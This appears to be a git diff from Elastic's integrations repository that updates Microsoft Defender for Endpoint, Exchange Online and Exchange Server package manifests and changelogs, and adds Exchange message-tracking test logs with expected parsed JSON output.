+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
## Setting up
To allow the integration to ingest data from the Microsoft Defender API, you need to create a new application on your Azure domain. The procedure to create an application is found on the [Create a new Azure Application](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/exposed-apis-create-app-webapp) documentation page.
diff --git a/packages/microsoft_defender_endpoint/manifest.yml b/packages/microsoft_defender_endpoint/manifest.yml
index 6920385f981..0532142474e 100644
--- a/packages/microsoft_defender_endpoint/manifest.yml
+++ b/packages/microsoft_defender_endpoint/manifest.yml
@@ -1,7 +1,7 @@
-format_version: "3.0.2"
+format_version: "3.2.3"
name: microsoft_defender_endpoint
title: Microsoft Defender for Endpoint
-version: "2.28.0"
+version: "2.30.0"
description: Collect logs from Microsoft Defender for Endpoint with Elastic Agent.
categories:
- "security"
@@ -9,11 +9,19 @@ categories:
type: integration
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.18.0 || ^9.0.0"
policy_templates:
- name: microsoft_defender_endpoint
title: Microsoft Defender for Endpoint
description: Collect logs from Microsoft Defender for Endpoint
+ deployment_modes:
+ default:
+ enabled: true
+ agentless:
+ enabled: true
+ organization: security
+ division: engineering
+ team: security-service-integrations
inputs:
- type: httpjson
title: "Collect Microsoft Defender for Endpoint logs via API"
diff --git a/packages/microsoft_exchange_online_message_trace/changelog.yml b/packages/microsoft_exchange_online_message_trace/changelog.yml
index 9540ffff84a..06092716b8f 100644
--- a/packages/microsoft_exchange_online_message_trace/changelog.yml
+++ b/packages/microsoft_exchange_online_message_trace/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.27.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.26.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/microsoft_exchange_online_message_trace/manifest.yml b/packages/microsoft_exchange_online_message_trace/manifest.yml
index 504afe88b64..dd6db60e1d5 100644
--- a/packages/microsoft_exchange_online_message_trace/manifest.yml
+++ b/packages/microsoft_exchange_online_message_trace/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: microsoft_exchange_online_message_trace
title: "Microsoft Exchange Online Message Trace"
-version: "1.26.1"
+version: "1.27.0"
description: "Microsoft Exchange Online Message Trace Integration"
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- email_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
icons:
diff --git a/packages/microsoft_exchange_server/changelog.yml b/packages/microsoft_exchange_server/changelog.yml
index 299bc77d0cb..db29b75513c 100644
--- a/packages/microsoft_exchange_server/changelog.yml
+++ b/packages/microsoft_exchange_server/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.3.1"
+ changes:
+ - description: Handle events where `networkmessageid` or `senderaddress` are not present.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12846
- version: "1.3.0"
changes:
- description: ECS version updated to 8.17.0.
diff --git a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log
index 6a83935be5c..7cd44acd11d 100644
--- a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log
+++ b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log
@@ -2,3 +2,6 @@
2024-01-25T15:16:09.949Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE5;2024-01-25T15:16:09.544Z;0,exchange-mail\Default exchange-mail,SMTP,RECEIVE,70912345566403,<20240123200014.123F425E28@host01.my.domain.com>,1e6eb197-c6b4-1234-1b69-56dc1db88f50,mailuser@my.domain.com,,7229,1,,,vzdump backup status (host01.my.domain.com): backup successful,root@host01.my.domain.com,root@host01.my.domain.com,0cA: ,Incoming,,10.11.12.13,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.13;S:ProxiedClientHostname=host01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,05503123-c5b9-46fe-1234-56dc1db88f8f,15.02.0330.005
2024-01-25T15:16:14.415Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE9;2024-01-25T15:16:12.885Z;0,exchange-mail\Default exchange-mail,SMTP,RECEIVE,70912345566407,<20240123200018.123C42553@pve-vhost01.my.domain.com>,c95b5dd1-f520-1234-e6dc-56dc1db8914d,mailuser@my.domain.com,,8251,1,,,vzdump backup status (pve-vhost01.my.domain.com): backup successful,root@pve-vhost01.my.domain.com,root@pve-vhost01.my.domain.com,0cA: ,Incoming,,10.11.12.15,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.15;S:ProxiedClientHostname=pve-vhost01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,d6aef52d-0e05-1234-e29b-56dc1db89238,15.02.0330.005
2024-01-07T00:00:07.463Z,192.168.0.1,exchange,192.168.0.2,exchange.example.com,;250 2.0.0OK20240107001234.567E6224C8@monitor.example.com[Hostname=exchange.example.com];ClientSubmitTime:,Intra-Organization SMTP Send Connector,SMTP,SEND,29519319995411,20240107001234.567E6224C8@monitor.example.com,0b7099ea-cb95-1234-328e-08dc5f139ac8,uwe.musterman@example.com,250 2.1.5Recipient OK,38663,1,,,ein Titel,support@example.com,support@example.com,2024-01-07T00:00:05.535Z;LSRV=exchange.example.com:TOTAL-HUB=1.921|SMR=0.127(SMRDE=0.002|SMRC=0.125(SMRCL=0.105|X-SMRCR=0.125))|CAT=1.698(CATOS=0.018(CATSM=0.017(CATSM-Malware Agent=0.017))|CATRESL=0.004|CATORES=1.567(CATRS=1.566(CATRS-ScanMail Routing Agent=0.117|CATRS-Transport Rule Agent=0.002(X-ETREX=0.002)|CATRS-Index Routing Agent=1.444))|CATORT=0.108(CATRT=0.107(CATRT-Journal Agent=0.107)))|QDM=0.010|SMSC=0.006(X-SMSDR=0.011)|SMS=0.076(SMSMBXD=0.071),Originating,,,,S:E2ELatency=1.928;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=Opportunistic;S:IsSmtpResponseFromExternalServer=False;S:DeliveryPriority=Normal;S:AccountForest=example.com,Email,a7ae9ef9-e10c-4111-19bf-08dc0f111bee,15.01.2507.035
+2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039
+2025-01-14T09:28:39.334Z,2a02:cf40::0000:1234:5678:9abc,HELLOWORLD,,,"MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant",,STOREDRIVER,NOTIFYMAPI,,,,,,,,,,,email@email.com,,2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000,,,,,S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00,,74364e3b-32b7-4108-9a2c-6dda84007459,15.01.2507.039
+2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039
diff --git a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json
index bb442f608d0..80f67f0646e 100644
--- a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json
+++ b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json
@@ -9,7 +9,8 @@
"direction": "Incoming",
"from": {
"address": [
- "root@host01.my.domain.com"
+ "root@host01.my.domain.com",
+ "MAILER-DAEMON@host01.my.domain.com"
]
},
"local_id": "2fd37dca-1234-5bfb-175d-08dc1db88f52",
@@ -27,7 +28,7 @@
}
},
"event": {
- "ingested": "2025-02-06T10:59:58.217137165Z",
+ "ingested": "2025-02-20T14:15:49.792664555Z",
"original": "2024-01-25T15:16:09.843Z,,,,exchange-mail,No suitable shadow servers,,SMTP,HAREDIRECTFAIL,70971234566456,<20240124222112.B4AE1234EF@host01.my.domain.com>,2fd37dca-1234-5bfb-175d-08dc1db88f52,mailuser@my.domain.com,,15054,1,,,Undelivered Mail Returned to Sender,MAILER-DAEMON@host01.my.domain.com,root@host01.my.domain.com,,Incoming,,,,S:DeliveryPriority=Normal;S:OriginalFromAddress=root@host01.my.domain.com;S:AccountForest=my.domain.com,Email,dc69df25-1234-564c-41c4-08dc1db88f7f,15.02.0330.005"
},
"message": "2024-01-25T15:16:09.843Z,,,,exchange-mail,No suitable shadow servers,,SMTP,HAREDIRECTFAIL,70971234566456,<20240124222112.B4AE1234EF@host01.my.domain.com>,2fd37dca-1234-5bfb-175d-08dc1db88f52,mailuser@my.domain.com,,15054,1,,,Undelivered Mail Returned to Sender,MAILER-DAEMON@host01.my.domain.com,root@host01.my.domain.com,,Incoming,,,,S:DeliveryPriority=Normal;S:OriginalFromAddress=root@host01.my.domain.com;S:AccountForest=my.domain.com,Email,dc69df25-1234-564c-41c4-08dc1db88f7f,15.02.0330.005",
@@ -87,7 +88,7 @@
}
},
"event": {
- "ingested": "2025-02-06T10:59:58.217147468Z",
+ "ingested": "2025-02-20T14:15:49.792775712Z",
"original": "2024-01-25T15:16:09.949Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE5;2024-01-25T15:16:09.544Z;0,exchange-mail\\Default exchange-mail,SMTP,RECEIVE,70912345566403,<20240123200014.123F425E28@host01.my.domain.com>,1e6eb197-c6b4-1234-1b69-56dc1db88f50,mailuser@my.domain.com,,7229,1,,,vzdump backup status (host01.my.domain.com): backup successful,root@host01.my.domain.com,root@host01.my.domain.com,0cA: ,Incoming,,10.11.12.13,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.13;S:ProxiedClientHostname=host01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,05503123-c5b9-46fe-1234-56dc1db88f8f,15.02.0330.005"
},
"message": "2024-01-25T15:16:09.949Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE5;2024-01-25T15:16:09.544Z;0,exchange-mail\\Default exchange-mail,SMTP,RECEIVE,70912345566403,<20240123200014.123F425E28@host01.my.domain.com>,1e6eb197-c6b4-1234-1b69-56dc1db88f50,mailuser@my.domain.com,,7229,1,,,vzdump backup status (host01.my.domain.com): backup successful,root@host01.my.domain.com,root@host01.my.domain.com,0cA: ,Incoming,,10.11.12.13,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.13;S:ProxiedClientHostname=host01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,05503123-c5b9-46fe-1234-56dc1db88f8f,15.02.0330.005",
@@ -152,7 +153,7 @@
}
},
"event": {
- "ingested": "2025-02-06T10:59:58.217148966Z",
+ "ingested": "2025-02-20T14:15:49.792786347Z",
"original": "2024-01-25T15:16:14.415Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE9;2024-01-25T15:16:12.885Z;0,exchange-mail\\Default exchange-mail,SMTP,RECEIVE,70912345566407,<20240123200018.123C42553@pve-vhost01.my.domain.com>,c95b5dd1-f520-1234-e6dc-56dc1db8914d,mailuser@my.domain.com,,8251,1,,,vzdump backup status (pve-vhost01.my.domain.com): backup successful,root@pve-vhost01.my.domain.com,root@pve-vhost01.my.domain.com,0cA: ,Incoming,,10.11.12.15,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.15;S:ProxiedClientHostname=pve-vhost01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,d6aef52d-0e05-1234-e29b-56dc1db89238,15.02.0330.005"
},
"message": "2024-01-25T15:16:14.415Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE9;2024-01-25T15:16:12.885Z;0,exchange-mail\\Default exchange-mail,SMTP,RECEIVE,70912345566407,<20240123200018.123C42553@pve-vhost01.my.domain.com>,c95b5dd1-f520-1234-e6dc-56dc1db8914d,mailuser@my.domain.com,,8251,1,,,vzdump backup status (pve-vhost01.my.domain.com): backup successful,root@pve-vhost01.my.domain.com,root@pve-vhost01.my.domain.com,0cA: ,Incoming,,10.11.12.15,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.15;S:ProxiedClientHostname=pve-vhost01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,d6aef52d-0e05-1234-e29b-56dc1db89238,15.02.0330.005",
@@ -217,7 +218,7 @@
}
},
"event": {
- "ingested": "2025-02-06T10:59:58.217150038Z",
+ "ingested": "2025-02-20T14:15:49.792795207Z",
"original": "2024-01-07T00:00:07.463Z,192.168.0.1,exchange,192.168.0.2,exchange.example.com,;250 2.0.0OK20240107001234.567E6224C8@monitor.example.com[Hostname=exchange.example.com];ClientSubmitTime:,Intra-Organization SMTP Send Connector,SMTP,SEND,29519319995411,20240107001234.567E6224C8@monitor.example.com,0b7099ea-cb95-1234-328e-08dc5f139ac8,uwe.musterman@example.com,250 2.1.5Recipient OK,38663,1,,,ein Titel,support@example.com,support@example.com,2024-01-07T00:00:05.535Z;LSRV=exchange.example.com:TOTAL-HUB=1.921|SMR=0.127(SMRDE=0.002|SMRC=0.125(SMRCL=0.105|X-SMRCR=0.125))|CAT=1.698(CATOS=0.018(CATSM=0.017(CATSM-Malware Agent=0.017))|CATRESL=0.004|CATORES=1.567(CATRS=1.566(CATRS-ScanMail Routing Agent=0.117|CATRS-Transport Rule Agent=0.002(X-ETREX=0.002)|CATRS-Index Routing Agent=1.444))|CATORT=0.108(CATRT=0.107(CATRT-Journal Agent=0.107)))|QDM=0.010|SMSC=0.006(X-SMSDR=0.011)|SMS=0.076(SMSMBXD=0.071),Originating,,,,S:E2ELatency=1.928;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=Opportunistic;S:IsSmtpResponseFromExternalServer=False;S:DeliveryPriority=Normal;S:AccountForest=example.com,Email,a7ae9ef9-e10c-4111-19bf-08dc0f111bee,15.01.2507.035"
},
"message": "2024-01-07T00:00:07.463Z,192.168.0.1,exchange,192.168.0.2,exchange.example.com,;250 2.0.0OK20240107001234.567E6224C8@monitor.example.com[Hostname=exchange.example.com];ClientSubmitTime:,Intra-Organization SMTP Send Connector,SMTP,SEND,29519319995411,20240107001234.567E6224C8@monitor.example.com,0b7099ea-cb95-1234-328e-08dc5f139ac8,uwe.musterman@example.com,250 2.1.5Recipient OK,38663,1,,,ein Titel,support@example.com,support@example.com,2024-01-07T00:00:05.535Z;LSRV=exchange.example.com:TOTAL-HUB=1.921|SMR=0.127(SMRDE=0.002|SMRC=0.125(SMRCL=0.105|X-SMRCR=0.125))|CAT=1.698(CATOS=0.018(CATSM=0.017(CATSM-Malware Agent=0.017))|CATRESL=0.004|CATORES=1.567(CATRS=1.566(CATRS-ScanMail Routing Agent=0.117|CATRS-Transport Rule Agent=0.002(X-ETREX=0.002)|CATRS-Index Routing Agent=1.444))|CATORT=0.108(CATRT=0.107(CATRT-Journal Agent=0.107)))|QDM=0.010|SMSC=0.006(X-SMSDR=0.011)|SMS=0.076(SMSMBXD=0.071),Originating,,,,S:E2ELatency=1.928;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=Opportunistic;S:IsSmtpResponseFromExternalServer=False;S:DeliveryPriority=Normal;S:AccountForest=example.com,Email,a7ae9ef9-e10c-4111-19bf-08dc0f111bee,15.01.2507.035",
@@ -249,6 +250,163 @@
"tags": [
"preserve_original_event"
]
+ },
+ {
+ "@timestamp": "2025-01-14T09:29:05.327Z",
+ "client": {
+ "domain": "HELLOWORLD",
+ "ip": "216.160.83.56"
+ },
+ "ecs": {
+ "version": "8.17.0"
+ },
+ "email": {
+ "direction": "Incoming",
+ "local_id": "cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202",
+ "message_id": "<1736846922.907742.2942@foo.bar.local>",
+ "sender": {
+ "address": [
+ ""
+ ]
+ },
+ "subject": "John Doe",
+ "to": {
+ "address": [
+ "email@email.com"
+ ]
+ }
+ },
+ "event": {
+ "ingested": "2025-02-20T14:15:49.792842183Z",
+ "original": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039"
+ },
+ "message": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039",
+ "microsoft": {
+ "exchange": {
+ "connectorid": "Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202",
+ "customdata": "S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com",
+ "eventid": "SENDEXTERNAL",
+ "internalmessageid": "8774618205228",
+ "logid": "82f8feae-ef9b-41bf-8500-1e10946655ae",
+ "messageinfo": "2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291",
+ "networkmessageid": "cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202",
+ "recipientcount": 1,
+ "recipientstatus": "250 2.1.5 Recipient OK",
+ "returnpath": "<>",
+ "schemaversion": "15.01.2507.039",
+ "source": "SMTP",
+ "sourcecontext": ";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:",
+ "transporttraffictype": "Email"
+ }
+ },
+ "network": {
+ "bytes": 136349
+ },
+ "server": {
+ "domain": "global-mail-onmicrosoft-com.mail.protection.outlook.com",
+ "ip": "175.16.199.1"
+ },
+ "tags": [
+ "preserve_original_event"
+ ]
+ },
+ {
+ "@timestamp": "2025-01-14T09:28:39.334Z",
+ "client": {
+ "domain": "HELLOWORLD",
+ "ip": "2a02:cf40::0000:1234:5678:9abc"
+ },
+ "ecs": {
+ "version": "8.17.0"
+ },
+ "email": {
+ "from": {
+ "address": [
+ "email@email.com"
+ ]
+ },
+ "sender": {
+ "address": [
+ "email@email.com"
+ ]
+ }
+ },
+ "event": {
+ "ingested": "2025-02-20T14:15:49.792849318Z",
